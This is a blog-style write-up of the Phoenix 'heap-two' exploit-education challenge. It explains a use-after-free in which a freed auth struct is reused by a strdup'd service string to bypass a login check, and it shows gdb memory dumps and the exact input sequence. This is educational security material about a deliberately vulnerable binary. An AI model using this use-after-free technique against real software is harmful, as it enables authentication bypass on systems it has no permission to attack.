In my previous blog post I have discussed challenges ‘heap-zero’ and ‘heap-one’ of phoenix, today I will continue with heap exploitation and write about ‘heap-two’.

Heap-two

In this challenge we have a program that is executing an infinite loop, asking for user input.

In the program there is a structure defined as:

struct auth {
  char name[32];
  int auth;
};

and then two global variables:

struct auth *auth;
char *service;

The code offers 4 different options for the user:

  1. auth STRING, malloc is used to allocate memory for a new auth structure, and then this memory is set to 0. If the STRING is shorter than 31 bytes, this string will be copied to to the name field.
  2. reset, it will free the memory pointed by the auth variable.
  3. service STRING, will use strdup to duplicate STRING somewhere in memory (heap memory).
  4. login, if the auth structure is not empty AND the auth field is set, it will print you have logged in already!, otherwise it will print enter your password. The objective of the challenge is to get the first message printed.

Exploit Strategy

We can see the available options as follows:

  • auth STRING = set auth variable to the malloc value
  • service STRING = set a string in memory of length > 32
  • reset = free the memory pointed by auth

The exploitation will rely on the fact that the login function doesn’t check whether auth was freed before, will just check that the value pointed by it is not null, and that the auth+32 is also set.

The main problem is that nowhere in the code the auth field of the auth structure is set, so we will need to:

  1. Allocate auth, this will get value X
  2. Free auth. Note that the auth variable will still point at the same location.
  3. Use service to place a string longer than 32 bytes in memory. This will use heap and since the previous chunk has been free’d, it will go at the same value of auth.
  4. login. The auth variable points now to the region where the service string is. As long as the string is not null and the value at offset 32 (corresponding to the auth field of auth struct) is not null, login will succeed.

Exploit Analysis

This is a UAF vulnerability, where freed memory is used because the pointers are not updated.

The exploit will work as follows:

gef➤  run
Starting program: /home/user/heap-two/heap-two 
Welcome to phoenix/heap-two, brought to you by https://exploit.education
[ auth = 0, service = 0 ]
auth A
[ auth = 0x600e40, service = 0 ]

first, an auth structure is set, and we can see it points to 0x600e40.

If we have a look at the memory we see:

gef➤  x /40dwx 0x600e40
0x600e40:	0x00000a41	0x00000000	0x00000000	0x00000000
0x600e50:	0x00000000	0x00000000	0x00000000	0x00000000 <-- end of name
0x600e60:   --> 0x00000000<-int 0x00000000	0x00000000	0x00000000

We can see 0a41 (our A plus a CR) at the beginning of a 32 bytes area, and the byte at offset 32 is set to 0.

Login at this point will fail:

login
please enter your password
[ auth = 0x600e40, service = 0 ]

We can now free the memory and allocate a service string.

reset
[ auth = 0x600e40, service = 0 ]
service BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
[ auth = 0x600e40, service = 0x600e40 ]

We can see that at this point auth and service point to the same location, because the auth pointer has not been updated once the free was executed.

If we check the memory once again we see:

gef➤  x /40dwx 0x600e40
0x600e40:	0x42424220	0x42424242	0x42424242	0x42424242
0x600e50:	0x42424242	0x42424242	0x42424242	0x42424242
0x600e60:   --> 0x00000a42<-int 0x00000000	0x00000000	0x00000000

The byte at offset 32 is now set to value 0a42, or 420a, considering the endiannes, which is some value.

At this point, the login will succeed, as the check

if (auth && auth->auth)

will be true:

login
you have logged in already!
[ auth = 0x600e40, service = 0x600e40 ]